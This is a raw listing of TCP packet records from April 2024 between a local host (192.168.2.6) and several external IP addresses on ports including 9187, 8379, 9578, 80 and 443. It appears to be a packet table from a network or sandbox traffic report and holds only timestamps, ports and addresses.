Apr 19, 2024 01:34:07.378087997 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:07.378101110 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:07.378129959 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:07.378142118 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:07.378180981 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:07.378181934 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:07.427292109 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:07.576970100 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:07.577030897 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:07.577073097 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:07.577105045 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:07.577111006 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:07.577152014 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:07.577162027 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:07.577188969 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:07.577227116 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:07.577264071 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:07.577323914 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:07.577363968 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:07.577403069 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:07.577440023 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:07.577493906 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:07.577496052 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:07.577539921 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:07.777057886 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:07.777124882 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:07.777163982 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:07.777204037 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:07.777208090 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:07.777245998 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:07.777276993 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:07.777285099 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:07.777323961 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:07.777362108 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:07.777380943 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:07.777401924 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:07.777416945 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:07.777440071 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:07.777478933 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:07.777497053 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:07.777517080 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:07.777559042 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:07.777574062 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:07.817923069 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:07.977277994 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:07.977341890 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:07.977381945 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:07.977420092 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:07.977444887 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:07.977462053 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:07.977478027 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:07.977504015 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:07.977543116 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:07.977582932 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:07.977602959 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:07.977622032 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:07.977648020 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:07.977663994 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:07.977704048 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:07.977710009 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:07.977742910 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:07.977782011 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:07.977791071 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:08.021095037 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:08.177895069 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:08.177959919 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:08.177998066 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:08.178185940 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:08.210947990 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:08.210973978 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:08.211046934 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:08.211057901 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:08.211085081 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:08.211086988 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:08.211123943 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:08.211174965 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:08.252867937 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:08.574536085 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:08.574595928 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:08.574635983 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:08.574642897 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:08.574676037 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:08.574714899 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:08.574718952 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:08.574753046 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:08.574798107 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:08.574815989 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:08.630395889 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:08.674935102 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:08.675034046 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:08.675074100 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:08.675113916 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:08.675154924 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:08.675167084 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:08.675167084 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:08.675194025 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:08.675231934 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:08.675270081 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:08.675307989 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:08.675345898 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:08.675384045 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:08.675403118 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:08.675403118 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:08.675403118 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:08.675422907 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:08.675462008 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:08.675637960 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:08.724138021 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:08.874842882 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:08.874886036 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:08.874923944 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:08.874931097 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:08.874960899 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:08.875000954 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:08.875005960 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:08.875040054 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:08.875080109 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:08.875080109 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:08.875137091 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:08.875174999 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:08.875183105 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:08.875212908 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:08.875260115 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:08.875272036 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:08.875308990 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:08.875348091 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:08.875353098 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:08.927242041 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:09.074723959 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:09.074789047 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:09.074827909 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:09.074836969 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:09.074871063 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:09.074918032 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:09.078588963 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:09.118721962 CEST	49743	8379	192.168.2.6	8.212.47.137
Apr 19, 2024 01:34:09.398988962 CEST	9187	49739	8.212.54.142	192.168.2.6
Apr 19, 2024 01:34:09.399144888 CEST	49739	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:34:09.444150925 CEST	8379	49743	8.212.47.137	192.168.2.6
Apr 19, 2024 01:34:09.447560072 CEST	49743	8379	192.168.2.6	8.212.47.137
Apr 19, 2024 01:34:10.561593056 CEST	49743	8379	192.168.2.6	8.212.47.137
Apr 19, 2024 01:34:10.785804033 CEST	49744	9578	192.168.2.6	47.243.79.202
Apr 19, 2024 01:34:10.886297941 CEST	8379	49743	8.212.47.137	192.168.2.6
Apr 19, 2024 01:34:10.886383057 CEST	49743	8379	192.168.2.6	8.212.47.137
Apr 19, 2024 01:34:11.120361090 CEST	9578	49744	47.243.79.202	192.168.2.6
Apr 19, 2024 01:34:11.120480061 CEST	49744	9578	192.168.2.6	47.243.79.202
Apr 19, 2024 01:34:11.121229887 CEST	49744	9578	192.168.2.6	47.243.79.202
Apr 19, 2024 01:34:11.212740898 CEST	8379	49743	8.212.47.137	192.168.2.6
Apr 19, 2024 01:34:11.215854883 CEST	8379	49743	8.212.47.137	192.168.2.6
Apr 19, 2024 01:34:11.255356073 CEST	49743	8379	192.168.2.6	8.212.47.137
Apr 19, 2024 01:34:11.427463055 CEST	49743	8379	192.168.2.6	8.212.47.137
Apr 19, 2024 01:34:11.453985929 CEST	9578	49744	47.243.79.202	192.168.2.6
Apr 19, 2024 01:34:11.454013109 CEST	9578	49744	47.243.79.202	192.168.2.6
Apr 19, 2024 01:34:11.454209089 CEST	49744	9578	192.168.2.6	47.243.79.202
Apr 19, 2024 01:34:11.455035925 CEST	49745	9578	192.168.2.6	47.243.79.202
Apr 19, 2024 01:34:11.789371967 CEST	9578	49745	47.243.79.202	192.168.2.6
Apr 19, 2024 01:34:11.789575100 CEST	49745	9578	192.168.2.6	47.243.79.202
Apr 19, 2024 01:34:11.789659977 CEST	49745	9578	192.168.2.6	47.243.79.202
Apr 19, 2024 01:34:11.802730083 CEST	49746	8379	192.168.2.6	8.212.47.137
Apr 19, 2024 01:34:12.115874052 CEST	8379	49746	8.212.47.137	192.168.2.6
Apr 19, 2024 01:34:12.116064072 CEST	49746	8379	192.168.2.6	8.212.47.137
Apr 19, 2024 01:34:12.116147041 CEST	49746	8379	192.168.2.6	8.212.47.137
Apr 19, 2024 01:34:12.124209881 CEST	9578	49745	47.243.79.202	192.168.2.6
Apr 19, 2024 01:34:12.124238968 CEST	9578	49745	47.243.79.202	192.168.2.6
Apr 19, 2024 01:34:12.124450922 CEST	49745	9578	192.168.2.6	47.243.79.202
Apr 19, 2024 01:34:12.125022888 CEST	49747	9578	192.168.2.6	47.243.79.202
Apr 19, 2024 01:34:12.429172039 CEST	8379	49746	8.212.47.137	192.168.2.6
Apr 19, 2024 01:34:12.429270983 CEST	49746	8379	192.168.2.6	8.212.47.137
Apr 19, 2024 01:34:12.443025112 CEST	9578	49747	47.243.79.202	192.168.2.6
Apr 19, 2024 01:34:12.444700956 CEST	49747	9578	192.168.2.6	47.243.79.202
Apr 19, 2024 01:34:12.444803953 CEST	49747	9578	192.168.2.6	47.243.79.202
Apr 19, 2024 01:34:12.742254019 CEST	8379	49746	8.212.47.137	192.168.2.6
Apr 19, 2024 01:34:12.744712114 CEST	8379	49746	8.212.47.137	192.168.2.6
Apr 19, 2024 01:34:12.755418062 CEST	49746	8379	192.168.2.6	8.212.47.137
Apr 19, 2024 01:34:12.755762100 CEST	49748	8379	192.168.2.6	8.212.47.137
Apr 19, 2024 01:34:12.762496948 CEST	9578	49747	47.243.79.202	192.168.2.6
Apr 19, 2024 01:34:12.762964010 CEST	9578	49747	47.243.79.202	192.168.2.6
Apr 19, 2024 01:34:12.763094902 CEST	49747	9578	192.168.2.6	47.243.79.202
Apr 19, 2024 01:34:12.897495985 CEST	49749	80	192.168.2.6	47.243.40.96
Apr 19, 2024 01:34:13.068887949 CEST	8379	49748	8.212.47.137	192.168.2.6
Apr 19, 2024 01:34:13.069782019 CEST	49748	8379	192.168.2.6	8.212.47.137
Apr 19, 2024 01:34:13.069782019 CEST	49748	8379	192.168.2.6	8.212.47.137
Apr 19, 2024 01:34:13.241219997 CEST	80	49749	47.243.40.96	192.168.2.6
Apr 19, 2024 01:34:13.241329908 CEST	49749	80	192.168.2.6	47.243.40.96
Apr 19, 2024 01:34:13.242435932 CEST	49749	80	192.168.2.6	47.243.40.96
Apr 19, 2024 01:34:13.382751942 CEST	8379	49748	8.212.47.137	192.168.2.6
Apr 19, 2024 01:34:13.382858992 CEST	49748	8379	192.168.2.6	8.212.47.137
Apr 19, 2024 01:34:13.585922003 CEST	80	49749	47.243.40.96	192.168.2.6
Apr 19, 2024 01:34:13.587088108 CEST	80	49749	47.243.40.96	192.168.2.6
Apr 19, 2024 01:34:13.587157011 CEST	49749	80	192.168.2.6	47.243.40.96
Apr 19, 2024 01:34:13.598721981 CEST	80	49749	47.243.40.96	192.168.2.6
Apr 19, 2024 01:34:13.598783970 CEST	49749	80	192.168.2.6	47.243.40.96
Apr 19, 2024 01:34:13.610327005 CEST	80	49749	47.243.40.96	192.168.2.6
Apr 19, 2024 01:34:13.610400915 CEST	49749	80	192.168.2.6	47.243.40.96
Apr 19, 2024 01:34:13.621978998 CEST	80	49749	47.243.40.96	192.168.2.6
Apr 19, 2024 01:34:13.622045994 CEST	49749	80	192.168.2.6	47.243.40.96
Apr 19, 2024 01:34:13.633682013 CEST	80	49749	47.243.40.96	192.168.2.6
Apr 19, 2024 01:34:13.633749008 CEST	49749	80	192.168.2.6	47.243.40.96
Apr 19, 2024 01:34:13.645411968 CEST	80	49749	47.243.40.96	192.168.2.6
Apr 19, 2024 01:34:13.645468950 CEST	49749	80	192.168.2.6	47.243.40.96
Apr 19, 2024 01:34:13.657354116 CEST	80	49749	47.243.40.96	192.168.2.6
Apr 19, 2024 01:34:13.657438040 CEST	49749	80	192.168.2.6	47.243.40.96
Apr 19, 2024 01:34:13.668970108 CEST	80	49749	47.243.40.96	192.168.2.6
Apr 19, 2024 01:34:13.669038057 CEST	49749	80	192.168.2.6	47.243.40.96
Apr 19, 2024 01:34:13.680906057 CEST	80	49749	47.243.40.96	192.168.2.6
Apr 19, 2024 01:34:13.680963993 CEST	49749	80	192.168.2.6	47.243.40.96
Apr 19, 2024 01:34:13.692521095 CEST	80	49749	47.243.40.96	192.168.2.6
Apr 19, 2024 01:34:13.692598104 CEST	49749	80	192.168.2.6	47.243.40.96
Apr 19, 2024 01:34:13.695708036 CEST	8379	49748	8.212.47.137	192.168.2.6
Apr 19, 2024 01:34:13.698734999 CEST	8379	49748	8.212.47.137	192.168.2.6
Apr 19, 2024 01:34:13.739814997 CEST	49748	8379	192.168.2.6	8.212.47.137
Apr 19, 2024 01:34:13.927412033 CEST	49748	8379	192.168.2.6	8.212.47.137
Apr 19, 2024 01:34:13.927752972 CEST	49750	8379	192.168.2.6	8.212.47.137
Apr 19, 2024 01:34:13.930552006 CEST	80	49749	47.243.40.96	192.168.2.6
Apr 19, 2024 01:34:13.930624008 CEST	49749	80	192.168.2.6	47.243.40.96
Apr 19, 2024 01:34:13.942321062 CEST	80	49749	47.243.40.96	192.168.2.6
Apr 19, 2024 01:34:13.942383051 CEST	49749	80	192.168.2.6	47.243.40.96
Apr 19, 2024 01:34:13.954091072 CEST	80	49749	47.243.40.96	192.168.2.6
Apr 19, 2024 01:34:13.954149961 CEST	49749	80	192.168.2.6	47.243.40.96
Apr 19, 2024 01:34:13.965997934 CEST	80	49749	47.243.40.96	192.168.2.6
Apr 19, 2024 01:34:13.966058969 CEST	49749	80	192.168.2.6	47.243.40.96
Apr 19, 2024 01:34:13.977566957 CEST	80	49749	47.243.40.96	192.168.2.6
Apr 19, 2024 01:34:13.977629900 CEST	49749	80	192.168.2.6	47.243.40.96
Apr 19, 2024 01:34:13.989191055 CEST	80	49749	47.243.40.96	192.168.2.6
Apr 19, 2024 01:34:13.989240885 CEST	49749	80	192.168.2.6	47.243.40.96
Apr 19, 2024 01:34:13.994395971 CEST	49751	80	192.168.2.6	47.56.33.29
Apr 19, 2024 01:34:14.240720987 CEST	8379	49750	8.212.47.137	192.168.2.6
Apr 19, 2024 01:34:14.240796089 CEST	49750	8379	192.168.2.6	8.212.47.137
Apr 19, 2024 01:34:14.241051912 CEST	49750	8379	192.168.2.6	8.212.47.137
Apr 19, 2024 01:34:14.316401958 CEST	80	49751	47.56.33.29	192.168.2.6
Apr 19, 2024 01:34:14.316483021 CEST	49751	80	192.168.2.6	47.56.33.29
Apr 19, 2024 01:34:14.316689014 CEST	49751	80	192.168.2.6	47.56.33.29
Apr 19, 2024 01:34:14.553879023 CEST	8379	49750	8.212.47.137	192.168.2.6
Apr 19, 2024 01:34:14.554013968 CEST	49750	8379	192.168.2.6	8.212.47.137
Apr 19, 2024 01:34:14.638672113 CEST	80	49751	47.56.33.29	192.168.2.6
Apr 19, 2024 01:34:14.640738964 CEST	80	49751	47.56.33.29	192.168.2.6
Apr 19, 2024 01:34:14.640765905 CEST	80	49751	47.56.33.29	192.168.2.6
Apr 19, 2024 01:34:14.640872955 CEST	49751	80	192.168.2.6	47.56.33.29
Apr 19, 2024 01:34:14.641638994 CEST	49752	443	192.168.2.6	47.57.238.48
Apr 19, 2024 01:34:14.641730070 CEST	443	49752	47.57.238.48	192.168.2.6
Apr 19, 2024 01:34:14.641865969 CEST	49752	443	192.168.2.6	47.57.238.48
Apr 19, 2024 01:34:14.642014980 CEST	49752	443	192.168.2.6	47.57.238.48
Apr 19, 2024 01:34:14.642117977 CEST	443	49752	47.57.238.48	192.168.2.6
Apr 19, 2024 01:34:14.642371893 CEST	49752	443	192.168.2.6	47.57.238.48
Apr 19, 2024 01:34:14.645091057 CEST	49753	9578	192.168.2.6	47.243.79.202
Apr 19, 2024 01:34:14.866861105 CEST	8379	49750	8.212.47.137	192.168.2.6
Apr 19, 2024 01:34:14.869280100 CEST	8379	49750	8.212.47.137	192.168.2.6
Apr 19, 2024 01:34:14.927301884 CEST	49750	8379	192.168.2.6	8.212.47.137
Apr 19, 2024 01:34:14.959340096 CEST	9578	49753	47.243.79.202	192.168.2.6
Apr 19, 2024 01:34:14.959479094 CEST	49753	9578	192.168.2.6	47.243.79.202
Apr 19, 2024 01:34:14.959599972 CEST	49753	9578	192.168.2.6	47.243.79.202
Apr 19, 2024 01:34:15.114861965 CEST	49750	8379	192.168.2.6	8.212.47.137
Apr 19, 2024 01:34:15.115181923 CEST	49754	8379	192.168.2.6	8.212.47.137
Apr 19, 2024 01:34:15.273891926 CEST	9578	49753	47.243.79.202	192.168.2.6
Apr 19, 2024 01:34:15.274101019 CEST	9578	49753	47.243.79.202	192.168.2.6
Apr 19, 2024 01:34:15.274245977 CEST	49753	9578	192.168.2.6	47.243.79.202
Apr 19, 2024 01:34:15.427961111 CEST	8379	49754	8.212.47.137	192.168.2.6
Apr 19, 2024 01:34:15.428026915 CEST	49754	8379	192.168.2.6	8.212.47.137
Apr 19, 2024 01:34:15.428251028 CEST	49754	8379	192.168.2.6	8.212.47.137
Apr 19, 2024 01:34:15.740900040 CEST	8379	49754	8.212.47.137	192.168.2.6
Apr 19, 2024 01:34:15.741024971 CEST	49754	8379	192.168.2.6	8.212.47.137
Apr 19, 2024 01:34:16.053767920 CEST	8379	49754	8.212.47.137	192.168.2.6
Apr 19, 2024 01:34:16.056931973 CEST	8379	49754	8.212.47.137	192.168.2.6
Apr 19, 2024 01:34:16.099143982 CEST	49754	8379	192.168.2.6	8.212.47.137
Apr 19, 2024 01:34:16.286750078 CEST	49754	8379	192.168.2.6	8.212.47.137
Apr 19, 2024 01:34:16.287311077 CEST	49755	8379	192.168.2.6	8.212.47.137
Apr 19, 2024 01:34:16.608207941 CEST	8379	49755	8.212.47.137	192.168.2.6
Apr 19, 2024 01:34:16.608321905 CEST	49755	8379	192.168.2.6	8.212.47.137
Apr 19, 2024 01:34:16.608413935 CEST	49755	8379	192.168.2.6	8.212.47.137
Apr 19, 2024 01:34:16.929306030 CEST	8379	49755	8.212.47.137	192.168.2.6
Apr 19, 2024 01:34:16.929394007 CEST	49755	8379	192.168.2.6	8.212.47.137
Apr 19, 2024 01:34:17.250341892 CEST	8379	49755	8.212.47.137	192.168.2.6
Apr 19, 2024 01:34:17.252907038 CEST	8379	49755	8.212.47.137	192.168.2.6
Apr 19, 2024 01:34:17.302216053 CEST	49755	8379	192.168.2.6	8.212.47.137
Apr 19, 2024 01:34:17.458564043 CEST	49755	8379	192.168.2.6	8.212.47.137
Apr 19, 2024 01:34:23.294939995 CEST	49757	443	192.168.2.6	52.159.126.152
Apr 19, 2024 01:34:23.295036077 CEST	443	49757	52.159.126.152	192.168.2.6
Apr 19, 2024 01:34:23.295134068 CEST	49757	443	192.168.2.6	52.159.126.152
Apr 19, 2024 01:34:23.295737028 CEST	49757	443	192.168.2.6	52.159.126.152
Apr 19, 2024 01:34:23.295773983 CEST	443	49757	52.159.126.152	192.168.2.6
Apr 19, 2024 01:34:23.680265903 CEST	443	49757	52.159.126.152	192.168.2.6
Apr 19, 2024 01:34:23.680363894 CEST	49757	443	192.168.2.6	52.159.126.152
Apr 19, 2024 01:34:23.684197903 CEST	49757	443	192.168.2.6	52.159.126.152
Apr 19, 2024 01:34:23.684215069 CEST	443	49757	52.159.126.152	192.168.2.6
Apr 19, 2024 01:34:23.684570074 CEST	443	49757	52.159.126.152	192.168.2.6
Apr 19, 2024 01:34:23.686203003 CEST	49757	443	192.168.2.6	52.159.126.152
Apr 19, 2024 01:34:23.686253071 CEST	49757	443	192.168.2.6	52.159.126.152
Apr 19, 2024 01:34:23.686264038 CEST	443	49757	52.159.126.152	192.168.2.6
Apr 19, 2024 01:34:23.686369896 CEST	49757	443	192.168.2.6	52.159.126.152
Apr 19, 2024 01:34:23.732125998 CEST	443	49757	52.159.126.152	192.168.2.6
Apr 19, 2024 01:34:23.807914019 CEST	443	49757	52.159.126.152	192.168.2.6
Apr 19, 2024 01:34:23.808176041 CEST	443	49757	52.159.126.152	192.168.2.6
Apr 19, 2024 01:34:23.808269024 CEST	49757	443	192.168.2.6	52.159.126.152
Apr 19, 2024 01:34:23.808492899 CEST	49757	443	192.168.2.6	52.159.126.152
Apr 19, 2024 01:34:23.808520079 CEST	443	49757	52.159.126.152	192.168.2.6
Apr 19, 2024 01:34:23.808568001 CEST	49757	443	192.168.2.6	52.159.126.152
Apr 19, 2024 01:34:28.586781025 CEST	80	49749	47.243.40.96	192.168.2.6
Apr 19, 2024 01:34:28.586864948 CEST	49749	80	192.168.2.6	47.243.40.96
Apr 19, 2024 01:34:35.083201885 CEST	80	49733	47.79.64.164	192.168.2.6
Apr 19, 2024 01:34:35.083436012 CEST	49733	80	192.168.2.6	47.79.64.164
Apr 19, 2024 01:34:35.083565950 CEST	49733	80	192.168.2.6	47.79.64.164
Apr 19, 2024 01:34:35.382385969 CEST	80	49733	47.79.64.164	192.168.2.6
Apr 19, 2024 01:34:36.740184069 CEST	49704	80	192.168.2.6	96.7.245.17
Apr 19, 2024 01:34:36.843879938 CEST	80	49704	96.7.245.17	192.168.2.6
Apr 19, 2024 01:34:36.844089031 CEST	49704	80	192.168.2.6	96.7.245.17
Apr 19, 2024 01:34:53.883857012 CEST	49758	443	192.168.2.6	52.159.126.152
Apr 19, 2024 01:34:53.883898020 CEST	443	49758	52.159.126.152	192.168.2.6
Apr 19, 2024 01:34:53.883963108 CEST	49758	443	192.168.2.6	52.159.126.152
Apr 19, 2024 01:34:53.884516954 CEST	49758	443	192.168.2.6	52.159.126.152
Apr 19, 2024 01:34:53.884531975 CEST	443	49758	52.159.126.152	192.168.2.6
Apr 19, 2024 01:34:54.253016949 CEST	80	49740	47.56.33.29	192.168.2.6
Apr 19, 2024 01:34:54.253174067 CEST	49740	80	192.168.2.6	47.56.33.29
Apr 19, 2024 01:34:54.253222942 CEST	49740	80	192.168.2.6	47.56.33.29
Apr 19, 2024 01:34:54.262784958 CEST	443	49758	52.159.126.152	192.168.2.6
Apr 19, 2024 01:34:54.262867928 CEST	49758	443	192.168.2.6	52.159.126.152
Apr 19, 2024 01:34:54.264552116 CEST	49758	443	192.168.2.6	52.159.126.152
Apr 19, 2024 01:34:54.264565945 CEST	443	49758	52.159.126.152	192.168.2.6
Apr 19, 2024 01:34:54.265482903 CEST	443	49758	52.159.126.152	192.168.2.6
Apr 19, 2024 01:34:54.267024040 CEST	49758	443	192.168.2.6	52.159.126.152
Apr 19, 2024 01:34:54.267076969 CEST	49758	443	192.168.2.6	52.159.126.152
Apr 19, 2024 01:34:54.267088890 CEST	443	49758	52.159.126.152	192.168.2.6
Apr 19, 2024 01:34:54.267215014 CEST	49758	443	192.168.2.6	52.159.126.152
Apr 19, 2024 01:34:54.308152914 CEST	443	49758	52.159.126.152	192.168.2.6
Apr 19, 2024 01:34:54.388839960 CEST	443	49758	52.159.126.152	192.168.2.6
Apr 19, 2024 01:34:54.389045954 CEST	443	49758	52.159.126.152	192.168.2.6
Apr 19, 2024 01:34:54.389106035 CEST	49758	443	192.168.2.6	52.159.126.152
Apr 19, 2024 01:34:54.389226913 CEST	49758	443	192.168.2.6	52.159.126.152
Apr 19, 2024 01:34:54.389250994 CEST	443	49758	52.159.126.152	192.168.2.6
